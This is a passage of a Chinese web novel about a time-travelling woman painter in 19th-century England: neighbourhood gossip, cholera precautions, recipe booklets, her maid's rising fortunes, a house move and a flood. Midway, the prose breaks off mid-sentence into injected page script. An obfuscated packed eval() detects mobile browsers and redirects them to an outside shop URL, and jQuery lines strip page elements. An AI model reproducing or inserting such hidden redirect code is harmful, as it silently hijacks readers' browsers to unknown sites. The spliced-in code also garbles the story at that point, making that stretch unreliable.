“没事,这只是特定时期的一种心理。你知道的,几十年前那一场,死的人太多。前几年又折腾了不少人命。也许这几年巴黎人的心情会好一点点。但是……巴黎的风格就是高兴一天是一天,哪怕明天被砍头。”苏茜漫不经心地拿起画板,“你介意我将你的戒指画进油画或版画里吗?我的画虽然不出名,但也是出售的。那枚戒指可能作为一位意籍美人的装饰品。”
“啊,好,好的,”邻居太太惊愕于这位邻居的身份和身家跟自己之前得到的消息完全不同。画家!真的假的?
“不用拿下来,我只需要画个素描草稿。”苏茜快速地刷刷刷。不到六分钟就将戒指画了下来,还给对方过目。
“你是个画家啊?!”真的!几分钟就将每一处细节都画出来了,比例也完全看不出问题。
“卖不出多高的价格。你知道的,画一幅画需要几个月,但两幅画中可能只有一幅能卖超过一百镑,另一幅是白白浪费至少二十镑的颜料。”她还给对方看了一幅半成品,只有两片区域有完整的色彩,包括一棵开满绚烂花朵的树,以及颜色是乳蓝色的湖面。
有这种颜色的湖水吗?
还有那花是什么品种?
邻居太太迷迷糊糊地被打发走,回到住处才反应过来自己被拒绝了。算了,人家是位女画家,搞艺术的跟她们这些交际人士不一样,而且对方不很缺钱:一个女仆、一栋公寓,年收入超过一百镑,肯定看不上朋友给的半年三十镑加一些“机会”。最重要的是,她被那幅画超出想象力的颜色给震惊住了,但偏偏那幅画又像是写实般栩栩如生,就仿佛画家亲眼见到过似的。
苏茜确实见过这样的湖,这样的树,这样的山和这样的建筑,只是这些从来没有在现实里的同一个地点出现过。因为如此颜色的湖水就是冰川湖水,但满树红、黄、白挤挤挨挨的花则是热带产的,山是她曾经在华州买过的山林农场所在,而建筑是修士世界的宇清堂,山上的树木却是各种灵木和温带树木花朵,反正花的颜色保证将手头的所有便宜颜料都用到。东方风格与充满想象力的人物已经是她画作的主要特色,所以在这处高山湖泊边有个曾经的她的背刀修士背影也没问题,混搭地十分“和谐”。
这幅画价格不高,但她画得挺开心。
即使巴黎又出现流血事件也不会让她动容。
城里的小报当然不如伦敦的多,但巴黎那么多人死掉还是值得写好些日子的。最搞笑的是“起.义”的共.和派贵族跑去跟国王谈判。
梅丽尔给苏茜念完两篇头条。主仆二人也开始不耐烦了。
“就死这么一点人啊!”也好意思说起.义。或者说,“他们肯定想不到普通民众压根不会想那么多,大家也就是希望能挣到面包。愿意饿着肚子去打仗的人都已经被现实磨平了。”
梅丽尔也无语。这都是什么跟什么。还有那个什么侯爵,她居然被雇主纠正了读音!但这样也好,她成了这条街法籍名字发音最准确的女仆,还是巴黎口音哦!
等这幅同样是东方风情的画卖掉没多久,本地,或者说整个欧洲,又出现了霍乱。
25.国王亦凡人(六)
城里的霍乱病人并不多,确切的说这几年下水道增加了不少,很多人也知道水源与霍乱之类疾病的关系——最后连官.方都不得不承认民间医生说得对,水源污染导致了霍乱大流行。所以这次不再是一死一大片。
于是没有恶性的内容可写的报纸开始大肆报道巴黎那边的死亡情况。
其实伦敦受感染的人数并不少。
“太太,对面那边的集市上,有个卖菜的说,伦敦那边腹泻和发烧的病人突然很多,而且还不是跟以前那样喝同一个水井的人。”
“那就是其他的水源,很可能是某个取水口附近有污染物甚至病人尸.体。尤其是泰晤士河那么脏……水务公司的那种过滤并不能去掉致病的微生物。所以记住,一定不能喝没有煮开过的生水,甚至你也不要在外面吃喝。洗手也用过滤过但没有煮过的水。蔬菜一定用开水煮过再吃;水果也要削皮。”
夏天了,听说伦敦那里的河水气味难闻。
苏茜换掉了过滤水桶里的部分滤材。出于成本考虑,还是将锰砂用开水煮过重新使用,其他则是扔了换新。也因此,她经常往水桶里加岛上雨水的沉淀水——梅丽尔还以为都是雇主往里面加的自来水。
因为晚上太热,炉子是熄火的,苏茜还送她一个大玻璃水壶,每天灌两壶开水,放凉了喝解渴又安全。
梅丽尔不太喜欢茶水,不论是红茶绿茶。
苏茜自然是买的进口绿茶,泡茶煮咖啡都是在二楼起居室,免得一楼太拥挤。连梅丽尔冬天用的毯子褥子也都是放二楼晾衣间的定制收纳柜子里,不然真没地方塞。
三楼是画画、做化学实验的地方。房子没有专门的盥洗室,改造的时候抽水马桶边放了浴桶,也是方便二次利用水。平时洗漱都是在房间里用盆的。所以苏茜一向自己打水或是在起居室洗漱。
梅丽尔即使成年了也仍然没有雇主力气大,这一点让她颇为无语。但她一点口风也不会露,反而用法语和甜点“横行”这一带。在断断续续“艰难”学习了两年之后,她能讲些法语,能识别各国的商品,尤其与食物有关的。
另外就是,梅丽尔被挖角了。
“有一技之长是好事。”苏茜点点头,“你可以考虑做我这里的兼职服务,再去面包店做个甜点师。谈清楚,不是普通店员,更不是学徒工。”
“哦,太太,那我就不去了。那边只给学徒身份,但是要我负责所有的甜点制作,而且要上午下午各工作四个小时。”不管饭,不住宿。“他们说男人才能当面包师和甜点师。还要我对男客人好一些。”
“那就拒绝。对了,你已经十七岁,不再适用三先令的工资,加到六先令。衣服跟伙食这些的我就不说了,另外帮我们联系洗衣和清洁的兼职人手,每周两次上门就行。你如果有结婚对象,可以跟我和你母亲商量下。”
“好的!太太!”梅丽尔一本正经地行了个屈膝礼。
一回头,梅丽尔就用现任雇主工资、衣服翻倍的强大理由,回绝了面包店的五先令不包任何东西、不准吃店里的东西还得自备服装的待遇。同时,苏茜给的待遇迅速在这几条街的女仆里传开。
有咖啡、衣物、床铺、洗澡、香皂、菜肴、采购、出行等等,其实近身女仆及以上都有。但是主人教书写、算术、外语和甜点制作等等就少见了,更不要说做好的肉菜、点心、奶茶等等直接分一半给她而不是吃主人剩下的。
“对仆人的分寸?哦,不,太太,我需要我的女仆能看懂法语食谱和意语、德语说明书,并且做出来店里卖一先令一小块的蛋糕和两先令单人份的肉羹,如果有需要改进的地方,知道如何完善,她必须不能比法国厨子差。为了用我支付得起的代价吃得好一点、还有喝到我喜欢的各种饮料,我愿意花钱请洗衣和清洁女工。”
对方老妇人张了张嘴,合上。似乎,听上去还是六先令的女仆便宜?
“哦,除了咖啡,茶,你还要准备什么‘复杂’的饮品?”另一名妇人好奇,或是带着某种不屑的情绪问道。
“咖啡有很多种。我偏好用化学方法萃取的咖啡,用的是最新式的酒精灯,加入用一点烈酒烧过的糖以及煮开的牛奶。当然有时候土耳其式的铁制咖啡壶煮出来的也不错。而茶,光红茶就有五个种类,绿茶的制作方法有炒制和蒸制两种,半发酵茶也有好几种,不同的茶要对应不同的饮用方法和添加材料。冬天的时候我最喜欢烤制的花果茶,用几种干花,味道清香的草药,不太酸的水果干,与茶叶一起放进陶壶里,在火上翻炒,再加入牛奶和水,煮开后继续再煮五分钟,然后过滤掉茶叶和花草后的奶茶非常可口。而现在是夏天,我往往用几种进口的草药、水果干和中国产的绿茶一起泡上一个小时,凉了以后喝特别解暑,当然晴天和阴雨天用的材料是不一样的。其他的饮品就更多了,比如用新鲜的葡萄、黄颜色的那种水晶糖块一起做的葡萄酒,一共需要差不多半年多的时间,尤其适合女士晚上来一杯……嘴麻烦的还是面包和点心的制作,我不用酵母粉和老酵种,是根据不同的季节和食材制作不同的发酵液,每天新鲜制作不同口感的面包……”
周围听热闹的女士们眼珠子都快瞪出来了。
“……我想我还是写几本饮食记录吧,不出版,只是手抄本,让梅丽尔抄写,大家只要付给她抄写描图费就行。”都下午了,苏茜仍然被女士们围得水泄不通地问吃食,不得不这样解释。教堂门口这样讨论吃的确实不太好。
最后苏茜写了超过二十本记录。光是牛肉为主的料理就值得写三本书,一个烤制的,一个炖煮的,一个油煎的,城里能找到的、不同季节的配菜大概三十种,更不要说本地的、国内的、进口的几十种不同价位和口感的香料。另外就是咖啡和茶,以及“基础”调酒,各一本。另外蒸馏,不管是酒还是植物提取,也是一本。至于点心和面包就更多了,各三本,这个还是简略版,材料可以在超过五十种里选择自己喜欢的、能够负担的若干:还记得她的十二种挞吗?在聚会中摆出来一定能获得好评。另外,土豆这种可以当主菜、配菜和点心的,自然得是单独的一本。沙拉和轻食,各两本。
最后,凑齐二十四本。
梅丽尔抄得手都快断了,但每天都过得非常快乐。在不需要洗衣清洁之后,她大部分时间用来实践调整那些记录本上的食谱做法,然后一本临摹两幅苏茜的简笔画,再工整地写出堪比高级印刷体的文字。
两个手掌大小的册子,每本二十到二十五页,单页有文字或图片,价格是十便士。不过其中两便士是装订好的册子和笔墨的成本。苏茜让她自己控制成本和收费,净赚的全部归这位能干的女仆。
苏茜每份记录平均需要一周左右时间完成,加上写画修改,一个月只出两本原版。然后梅丽尔抄了卖掉。
这项活动进行了整整一年。苏茜和梅丽尔的名气在整个教区都不小。最后梅丽尔赚到了三年半的工资,把这些多得钱都给了玛丽母女,将破旧小屋卖了、买个二层小房子养老。
玛丽这几年一直在工作。在梅丽尔不停给家人灌输学技术、学手艺的影响下,她弟弟去当了厨师学徒工,妹妹一边帮着外祖母卖菜,一边去一个慈善学校学了两年,出来后做着抄写员、菜贩和兼职女仆等几份工作,并且考虑去学习些护理知识。
“好好记住,这些知识说不定能帮你们找到好工作。”嫁人什么的,看倒霉的母亲和外祖母就知道了。他们的外祖父还不知道在世界上哪个角落活着或是尸.体已经被扔进大海去了,而便宜父亲抛弃家庭十年,突然出现时已经病入膏肓还要求她和妹妹卖身给他治病……她家雇主说这种因为不洁的关系导致全身疱疹的晚期病症死定了,早点烧了埋了比较好,不然会传染给家人。于是她和弟弟戴上雇主赞助的口罩、帽子、手套和围裙,一起将那家伙连同隔离装备全部烧了埋了——反正外祖母说她可不想死得那么悲惨,母亲当然也不会反对。
“天哪,土豆真有用。难怪爱尔兰那边全部种土豆了。”
“罗西诺太太说他们只用一种方式种一个品种,作物一旦染病,迟早出大灾荒。所以,别想着去那里买地种土豆,赚不到钱的。”事实上雇主说的非常深刻恐怖,尤其是那边人口暴增的“好现象”让雇主连连摇头叹息。“还不如去北美。不过普通人去北美可能会死得比较快。”
“……那继续在这里生活比较好。我过几年可以找个厨师或者面包师工作的。”死得比较快?意思就是那里很不安全,想赚钱也要有命花是吧。
梅丽尔拍拍比她高的弟弟的脑袋,出门回去了。这个家,也就是几位血缘相通的人,没有自己的床铺毯子,没有自己的衣物饰品,没有自己的文具书籍,每月相处半个白天,跟嫁出去的女儿与娘家的关系差不多。另外,她不喝生水的习惯也“传”到自己家,因此她家没人得霍乱。
苏茜对报纸上巴黎霍乱疫情的渲染不以为然,不过对“正式”公布的死亡数字同样嗤之以鼻。两个数字平均一下就可以知道没有成规模下水道系统的巴黎死了多少人。
“大概是塞纳河没有泰晤士那么臭。”苏茜如此回答“好奇”的八卦妇人们。“而且,没有工业污染的空气确实好一点。另外,不少供应的水来自附近几条污染不太严重的河,所以不像伦敦那样即使经过过滤也有一股不太好的味道,煮开后也不是很好,加茶叶煮咖啡才喝不出来。但是,我们都知道贫民区的情况不是吗?哪里缺乏干净的饮水、流动的空气,哪里就可能疾病蔓延,更不要说传播黑死病的老鼠和传播热病的蚊子。”
“热病和蚊子有关?”有人惊呼。
“是的,黄热病这些都是,因为当地气候炎热,常年有大量蚊子。我们这里不流行热病,这跟气候有关,而非我们的生活习惯有多好。”
不流行……几个旁听的妇人扯扯嘴角。这个油盐不进的罗西诺真讨厌,说起来一套一套的,完全不能满足她们想要在她脑袋上扣一个来自于肮脏城市的帽子。要不,找找这女的有没有秘密情夫、包.养人什么的。
苏茜并不是很清楚,因为自己的食谱导致不少周围的人一边用她提供的方法提高生活品质、一边恶意满满地打算给抢走她们风头的人一点“教训”。
即使知道也无所谓。
“你挑个喜欢多嘴的人选就可以了。但这病并不会因为面对面说话而传染。是需要亲密接触的,所以可能是这位太太的丈夫的情人,说男或女的情人,传染的。我得说,可能男的情人的可能性更大,因为这样的男孩子往往又不止一位对象……所以你最好劝你的朋友拒绝这家人的雇佣,免得被女主人栽赃。”
觉得自己做了件好事的苏茜完全不去考虑这种“猜测”传出去有多惊悚,更不认为将那位爱惹是生非的太太踩下去有什么不对,虽然那位也不一定就是她猜测的目前时代挺棘手的两种疾病之一。
已经被雇主“培养”多年的梅丽尔一通听谁谁说、可能也许的,将小姐妹砸得头晕眼花的同时,将一条其实是真相的猜测传遍街区。那位太太是最后一个知道自己丈夫染病还传给自己的,原本她还以为是皮肤和妇人的小毛病,还用了大量化妆品和偏方。但听说这个传闻后忍不住私下去找了几个医生,才发现自己可能真的染病了!
……
别家的鸡飞狗跳与苏茜无关。她首先要将脑袋里一堆“素材”捋一遍,再将协调的元素排列组合,然后呈现在画布上。
值得庆幸的是目前还没有卖不出去的画,但最高价也就是二百九十镑的净收入、还是卖了四个月的成果。均价距离两百还差两镑……
行吧,她的水平确实一般,但只要有华美的东方美人,价格总能高一点。所以这次她拿着好不容易买到的毛笔,在白纸上写了几句汉赋,然后照着纸张侧过来的样子,描摹在宋制汉服美人面前的精致花笺上。精致的雕窗外是漂亮庭园的一部分,树上绽开的紫玉兰,角楼檐下的铜风铃,池边水榭的侧窗,以及窗口探出来的头冠。
整体画风略二次元,建筑风格和物品摆设主打一个混搭。最重要的是美人偏意籍长相,还戴着宝石指甲套和希腊风格黄金首饰。
闭门画了一段时间,苏茜问梅丽尔最近也没有人继续打自己的主意。
还是有那么多闲得发慌天天想着找事的啊!尤其里头好几个热爱刺探甚至传播谣言的——男和女都有。其中倒是有两位很容易解决:那种与牙缝里塞了好几天的食物不一样的口臭,有可能是肾脏不好,而年纪不大肾脏不好、可能与那方面有关的哦!
别管男女,先套个帽子再说。
科普了一通后,苏茜真的写信给好几位伦敦和本地的医生,探讨口臭与口腔清洁、内脏病变和中.毒等的关系,同时也为医生辨别病因提供辅助佐证。这些她是真的有科学依据的,拿几样最容易理解的出来好了。其中有三名医生是给了回信的,一个明确不可靠,一个说有待跟踪,一个说其中一项是有道理的。
于是苏茜还特地租车去那位伦敦全科医生那里买了好几种用得上的自制草药膏,还跟医生探讨了乙醇和硫酸的反应物。
“我偶然听到一个美国的客人说,有当地医生用这种混合物的气味让病人半昏迷,从而成功地拔掉了牙齿,期间病人没有很痛苦。所以您是不是试一试?毕竟像我伯父那样,半瓶白兰地也不能让他神志不清,最后活活疼痛而死。”
“您的消息真的太重要了,我觉得完全可以试一试。”有得是病人乐意尝试不是吗?何况他愿意做第一个!
“是的,只要不吃下去,吸入的毒性不大。”至于这位能不能麻.醉试验成功就是另一回事了。
……
冒充了一把化学爱好者之后,苏茜满意地采购了一批茶叶后第二天才回家。她满意的是医生,而不是这个并不比巴黎强多少的城市。
* * *
红色高耸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040864|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的院墙,颜色绚烂的装饰,稀疏错落的花木,华贵寂寞的贵妇。一身混搭唐装的瓜子脸丹凤眼高鼻梁薄嘴唇美人,仿佛一缕幽魂走在明代故宫背景中,纤长柔美的三指在昂贵锦缎宽袖中伸出,仿佛要抚摸埋葬了自己的红墙。但是,一个个半透明的身影布满了整条平整通道,服饰、面容、性别、表情各异,仿佛那些人才是幽魂。
标题就是宫廷。
这幅画被中介压了快半年,塞到一次画展里集中拍卖,苏茜最后净到手快四百镑。这个时候她才算有了点名气,价格能站到五百镑之上——抽成和费用高,画者本人到手可没那么多——可以勉强搭到画家这个名词的边。
而这个时候,□□这个名词才出现在医疗相关的报道里。病人可以在有效地麻醉中昏过去,而不需要清醒地被截肢、刮骨这种连鸦.片酊加白兰地也搞不定的外科手术。
不过很多人仍然持质疑态度。反正等苏茜下一幅画收入三百多镑的时候,仍然有医生和病患拒绝这种新式的方法。使用□□的手术猛增是事实,而且没有出现什么专利抢注、争夺这种讨人厌的事情。何况,□□真的不是多好的麻醉手法,只不过目前确实可以减轻痛苦。
“太太,里面只有张票据。”梅丽尔皱眉将信封和汇票都交给苏茜。她还以为这又是什么推销件,打开一看才发现不是!什么话也没有就给张大额汇票,这不太对劲啊。
“……哦,我知道了。我帮过这位医生一个忙,他寄来了感谢费。”苏茜也是辨认了一会儿才认出这个签名就是之前自己找过的那位伦敦的医生。这都几年前的事了。不过,基于汇票上那超过她三年总收入的金额,她估计对方这么久才寄来感谢费是因为需要攒一段时间的钱。看看汇票上的签名,是完全不认识的名字,所以搞不好是某位有钱病人的感谢费。
苏茜写了封感谢信和一份放弃任何利益的声明,寄给那位现在已经颇为有名的全科医生。没人再说这位医生是药剂师出身、学识不够,而是说幸亏这位懂药物和化学,能够避免病人经历剧烈的痛苦。另外,对方真的给医学类期刊、还有报纸投稿说了口臭这件事,也是为自己同样能应付内科正名。
苏茜看到期刊时微笑了下。这本期刊她有很多呢,但都是一百年后的技术水平。
嗯,对了,那俩特别爱惹事的口臭邻居已经被人所周知并且怀疑会传染的诡异臭味给搞得搬走了,尤其是那位被大家怀疑“不行”的绅士去美国了。还有一位铅或者还有汞中毒的女士,坚决不相信让她更美丽的化妆品有毒,所以苏茜觉得她距离废掉不远了,因为她的精神状况和记忆力出现了问题,脸上也出现了坑——但可怕的是,即使脑袋出现问题,这位也坚持要美美地出现在人前,于是抹了更多的化妆品!
“她快不行了。”苏茜对梅丽尔嘱咐道,“别用眼神或语言、行为刺激到她,避开点。还有,别告诉其他人。”
“好的。”梅丽尔经过苏茜的解释,知道了这其实是一种慢性自杀,缓慢、痛苦而不自知,但这一切又都是为了美丽。真是的,一位嫁妆丰厚、有快成年儿子的贵妇,干嘛那么想不开。
显然的,苏茜还是错估了这个过程。那位太太拖到儿子成年后的第二年才过世,她的丈夫匆匆赶回来参加葬礼并且开始与儿子及儿子背后的妻舅打遗产官司。
梅丽尔彻底不想结婚了。“我的弟弟要跟一位寡妇结婚了,对方在镇上有一栋房子和一间面包坊。”
“很明智的选择。”苏茜点点头,指着一边定制的六斗柜,“上面第二个抽屉里,右手边,有个木头盒子,我记得里面有两个银怀表,你挑个送你弟弟当结婚礼物吧。”
“这太贵重了!”真的不能收,那种怀表售价超过二十镑,即使现在属于二手也超过十镑。
“没事,你弟弟也帮我做了不少事。”尤其是采购,靠谱的食品供应商太重要了。“以后还是请他继续寻找好的供货商。”
“好的!”这个接近交易价值了,所以她会跟弟弟说清楚的。毕竟她的雇主相当大方,尤其是在与饮食有关的事情上很舍得花钱。这不是不久前刚得到一张接近四位数的汇票,想来即使未来几年雇主都不画画也能过得不错。
事实上苏茜将那汇票兑换成一堆金币与合金币作为收藏品。这种不怕放坏的东西多多益善。
……
“里昂?巴黎!哦,真是没完没了!”有人拿着报纸嘀咕。
“我更想知道什么时候霍乱能结束!”另一个人满脸疲倦。
不过二楼的苏茜则是盯着外籍军团的名称。所以,法籍本土军队从这个时间就不行了是吧,自家的殖民地也都是靠外籍军人打,这一点确实比英籍差远了。
放下报纸,苏茜开始研究调整新食谱。
现在整理食谱的事情都是梅丽尔在做。苏茜甚至支持她向家庭杂志投稿,还帮忙润色——投十份能过两份,虽说赚不到多少先令,但这极大地提升了梅丽尔的自信心。
她已经是本街区最厉害的女仆,而且有望得到很不错的退休养老金。因为她家雇主已经为她在本地银行开立了一个年金账户,并且每年都往里面存十镑,加上攒的钱,她可以一直干到自己做不动后还能享受比较宽裕的老年生活。
苏茜并不觉得自己做了多了不起的事,她只是按自己记得的标准给员工交社保——这里的社会保障尤其是医疗保险比德国落后一百年,好在不仅没什么医疗可言,包括梅丽尔在内的所有本地人也不知道社会保险这类事物。
梅丽尔拒绝了母亲提出的结婚人选,直接说会在现在的岗位上干到老。
然后玛丽就将女儿十二岁开始到现在的待遇传播了出去,还有她家闺女居然写了食谱刊登在杂志上。呵呵,想让闺女结婚后继续做女仆养男人养孩子?统统见鬼去吧,搞不好她老得走不动的时候得靠女儿的年金账户活命。
梅丽尔的弟弟则是高兴得不得了。不仅是一只几乎全新的怀表,还有那位不买首饰买吃食的太太愿意免费提供面包和甜点的详细制作方法,而不止是梅丽尔掌握的那些家庭版本。这样他就真的不是靠老婆养的穷小子了。
而苏茜这边,则是迎来了一位衣着考究的律师。
“加这幅画五百镑?可以。我什么时候搬走?”
“呃,如果可能的话……下个月?”
“没问题。”苏茜没有问为什么一位伦敦的律师知道她手头刚好画完的东方式风景画。因为上周这条街斜对面的邻居太太跑来拜访,东拉西扯半天还去上了个厕所,并且对这幅画赞了又赞。当时她觉得有些莫名其妙,现在知道了。其实对方觉得是赚到了,因为如果拍卖,搞不好对方要花四百左右,现在加上房子才五百那简直太划算了。而对她来说,可能这幅画也就到手两百多,那么对方的开价对她是有利的,唯一不好的就是中介和拍卖方都少了一笔收入。
于是梅丽尔一回来就面对和雇主一起走人的局面。
26.国王亦凡人(七)
苏茜这是第四次搬家了。
“我们去你弟弟开的店附近看看吧。也许以后就不需要我们自己做主食和下午茶了。”那个斯特镇她在若干年后是听说过的,距离不远,可却不知道现在是什么样子,毕竟差了一百多年的时光。
事实证明这里其实是个适合居住的丘陵小镇,河流看上去颇为干净——无异味和奇怪颜色——就是绿化太少,房子街道建得不整齐。她们一路过来还看见一个热闹的集市。
“很多城里的小商人也来这个集市买东西。”车夫是镇子附近的人,对这里很熟悉,热情地到处介绍生活设施,还载她到了一间门面开在主街侧面的中介。
“这间房子最大的好处是有下水道和自来水,两个炉子,楼上楼下都有浴缸、壁炉和抽水马桶,阁楼外的露台可以晾晒东西。另外,周围的邻居虽然没有贵族人家,但都是比较体面的,那家餐馆做的意餐也很美味。”
苏茜这一排房子的结构是两层半带后面的平房的格局,一楼前后有好几个大窗户,二楼起居室还有落地窗,包括阁楼在内有四间卧室、一间起居室、两间杂物间和一个大客厅兼餐厅,属于可商可住的那种。因为这排房子最外面靠近商业街的一栋房子还是个家庭式小餐厅。
房子如果卖不掉也接受长租,售价近五百镑,房屋相关的税跟前两次买的房子加起来的差不多,还没有院子,但房子比较新,包括阁楼都是打扫过的,家具装饰还是成套的,窗帘遮光效果不错,只要买了柴禾和等日杂用品,再把行李搬过来就行。
“就这栋吧。” 苏茜拍板买下。“梅丽尔,记得挑两个兼职女仆帮你干活。”
“好的,太太。”梅丽尔弟媳家也接近这种格局,一楼开店干活,二楼及阁楼住人,比苏茜这边拥挤些,但地段在商业街区,距离这栋房子走路十分钟。可见镇子不算小。
苏茜去签了契约,交了税——还跟本地税务官咨询了房屋税和所得税的事情——梅丽尔则是拿了钱去周边找杂货铺大采购。
等回到理论上已经不属于自己的房子时,已经是傍晚了。苏茜给了车夫来回车资加小费,定下后天上午过来帮忙跑三趟搬家。
“我们还省下了一笔旅馆费。”梅丽尔在知道那房子的价格时吓了一跳,同时明白了为什么自己弟弟愿意“入赘”别人家——他们家一辈子也买不起弟媳家那栋可能更贵的房子,何况她家又没有限定男性继承,理论上她和妹妹都可以带了自己的丈夫孩子住在家,想必以后是个鸡飞狗跳的局面,现在这样最好。
“对,还有可以买到不同口味的面包。”什么时候可以进口大米啊!唉,难道得去找走.私商人的路子?“如果你弟弟家的面包坊品种太少,我愿意免费指导。我以前曾经开过甜品面包店,生意不错的。”
“好的,太太。”梅丽尔还是第一回知道这事。还以为之前雇主也是靠画画写书以及公债存款收益为生呢!
镇子上毕竟不比城里,再繁荣也没有大量的配套服务,各种家务都得自己动手。所以梅丽尔找了两个女仆,一个二十多一个三十多,都是周一到周六白天来上工下午回自家做晚饭,周薪三先令,包一顿正餐外加“工作服”。苏茜面谈同意后就上任了。
两个帮手大大减轻了梅丽尔的体力活。偌大的房子,光是每天生炉子、拖地和清洗,即使不需要给雇主铺床收毯子,都能占用她四个小时的时间。更不要说一周几乎不重样的餐点。
好在烘焙的活大部分都变成了买现成的。
“……我和罗西诺太太吃低糖和无糖的,这样对牙齿和健康好。”梅丽尔每两天会去弟媳的店里拿定制的面包和下午茶点心。因为苏茜的口味,现在瓦莱里面包坊不仅用发酵液做风味面包,还开始卖各种亚洲和非洲进口的各种红茶、绿茶、调料、水晶糖、红糖、黑糖等等,还有磨好后放在半磅罐子里的咖啡粉,连自制葡萄酒用的可水封玻璃罐都有——卖不掉的苏茜能帮忙清仓。
“吃糖和牙齿健康有关?”
“吃糖不注意漱口的话会牙疼,吃多了还会发胖,尤其是大量糖和奶油加在一起有非常明显的增肥作用,对女士太不利了。”梅丽尔认为自家雇主吃得这么好不用束身衣也没有变胖、平时也不生病主要是饮食习惯,她自己也受益不少,因此对其他人也是如此说的。
“可是——”糖和奶油,多好吃啊!而且贵得舍不得经常吃。
“巧克力加少许牛奶和更少糖是很好的选择。”她还拿了两份今天做的巧克力蛋糕新品结账走人,结果导致店里的女客将为数不多的新品一抢而光。
“刚才那位是?”有人问老板娘。
“我丈夫的姐姐,是位女画家的管家。”周薪六先令加、吃穿住以及每年存的年金,是她每天辛苦工作十个小时的一半还多——看这位大姑子身上的呢大衣、中跟皮靴、绒长裙以及衣服上肥皂、手上香皂、脸上玫瑰精油的味道,还有文雅的口音用词和偶然冒出来的外语名词,说是出身中等人家的都有人信。
“那位女画家很有钱?”
“钱倒是不多,只有一个管家两个女仆,平时不出门、不交际,靠卖画和利息生活得不错。主要是我这位亲戚也给杂志投稿食谱,还抄写食谱册子,那件大衣应该是她自己赚的钱买的。”丈夫说之前大姐差点写断手,光抄写费就赚了几十镑——在雇主的支持下——自己买件七八镑的平民款大衣是没问题的,或者雇主送的半旧衣服也有可能。
梅丽尔确实还在赚钱。她的土豆系列料理刚连载到第三篇,总共七篇稿件包括三幅插图,在扣掉邮费后得到了近十镑,又可以为自己的养老金增加一点点。
“佩纳先生的工厂破产,他们一家都乘船去了北美。债主们正在申请将他们家的财产拍卖。”一个客人望着外面乱哄哄的一群人说道。
“哦……听说城里的房租都降了。不过镇上好像没什么影响。”
“怎么没有?!佩纳先生是第二个破产的绅士,还欠了我丈夫几十镑,我们已经不指望能收回来了。谢天谢地我们家靠农庄出产过日子。”感觉手里用奶油、焦糖跟烤杏仁片这些美妙的食物做的泡芙甜甜圈都不香甜了!放下吧,省点钱。
另一位见她放下后离开,默默地将泡芙甜甜圈拿走结账。哪怕这个要卖一先令,也贵得值。不给小费她家女仆都不肯费时间和力气做奶油,加上浪费的食材,自家做的成本也没有低到哪里去。
苏茜看了眼已经基本卖空的漂亮甜点,控制住了自己的手。以后还是不要出门了,老老实实在岛上练功比较好。
天气更加暗沉了,在苏茜赶回家的前一分钟开始下雨。等她回到家上到二楼,看到地面全湿了。镇上有各种优势,因为地势的关系,下起雨不会内涝,但远处略低的农田估计不好受。
吃完均衡健康的晚餐,锁门关窗。岛上确实没下雨。练完功冲个凉水,只盖了床粗布床单就躺下。床垫是上辈子晚年定制的,已经破旧了,但怎么也比现在的床垫好用。枕头则是从城里住宅里直接顺走的。
岛上温度适宜,比房子里闷热的环境舒服不少。
雨下了整整四天,期间最多只是下得小一些。街上还好,农田已经淹水了。外面走动的妇人们明显少了,很多农庄主人家开始跟工厂主们一样满面愁容。
“感谢太太喜欢囤粮食的习惯。”
房子里仍然保持两名打下手女仆的规模,不过其中一位换人了。现在苏茜给她们本周的薪水换成没有涨价前的面粉,等于临时涨薪四成。
雨还在下,即使转为小阵雨,可水灾已成定局,好在前几天很多麦田已经收割,暂时不会有断粮的风险——有的话还能进口粮食不是。集市仍然开着,摊贩们冒雨守着。大部分食物的价格都大幅上涨。很多蔬果并非是伏地作物,可根系长时间浸泡在水里,很难说还能不能活。菜园主农庄主们尽管涨价也不见得能挽回多少损失。
“机器浸水就全部完蛋了。”新女仆的丈夫是工人,现在失业了,全家大半的开销靠她这份女仆的薪水,小半靠孩子们打零工,所以苏茜大方地将囤了吃不完的食物都送她了,还把买菜跑腿的活计交给她的大女儿。
这场大雨导致的大水一个月后才完全褪去。
苏茜对饮食的安全盯得更严格了,还特意多准备了一个滤水装置。
“你们把这些煮开过的水带回去给家人喝,记住,绝对不能喝生水,会得霍乱和其更糟糕的疾病。”她对两位女仆说。这俩都不是住家的,意味着可能在自家吃喝不洁的食水导致感染疾病,可能会传染给这房子里的人。全程烘焙的食物问题不大,所以面包之类仍然可以从店里买现成的,何况街道地势比农贸集市高还可以走动。但其他食物就必须严控卫生安全。
“谢谢,太太!”
“我们会小心的!”
吃坏肚子和感冒都有可能死的时代,霍乱已经是非常可怕的传染病,还有更糟糕的?难道是黑死病?!脑补过度的女仆们战战兢兢地每天抗了对自来水进行过滤然后煮开的饮用水回家,同时用比霍乱更糟糕的疾病吓唬住了自家和周围邻居。
果然,遭水灾的地方出现了皮肤病、腹泻、伤寒和一堆其他病患。镇上一位老人过世,还有一位传言是破产自杀但对外说是急病过世的农场主也被匆匆下葬。其他办不起体面葬礼的普通人肯定死得更多。
好在苏茜这栋房子里没有人生病和死亡。
不管外面对粮食进口有什么对立意见,苏茜按部就班地过自己的生活。
楼兰。
谁也不知道到底是什么样子的,所以不管她如何“混搭”都不会有什么问题。各族的建筑、各族的商人、各族的饰品,旋舞的美女,窃窃私语的盗贼与心怀鬼胎的使者,九座迥异的建筑和三十个迥异的人物让整幅画充满了想象力。
这幅画前后画了大半年,还废了几稿,最后的成交价也是个让人愉快的数字。
正当苏茜认为自己已具备了一定艺术水平的时候,被报上对爱尔兰土豆收成出问题的轻描淡写。
“病虫害很常见啊!”人们的一致看法就是,虽然不常见但也是可以理解的,但自己这里得赶紧检查自家田地有没有相同的病虫害。
但几天后,报道口风变了。镇子附近种的土豆并没有这问题,但有些农庄使用了相同鸟粪肥的高产田产量大幅减少。
这回,不仅集市上本地土豆跟着涨价,面粉等也随之涨价。
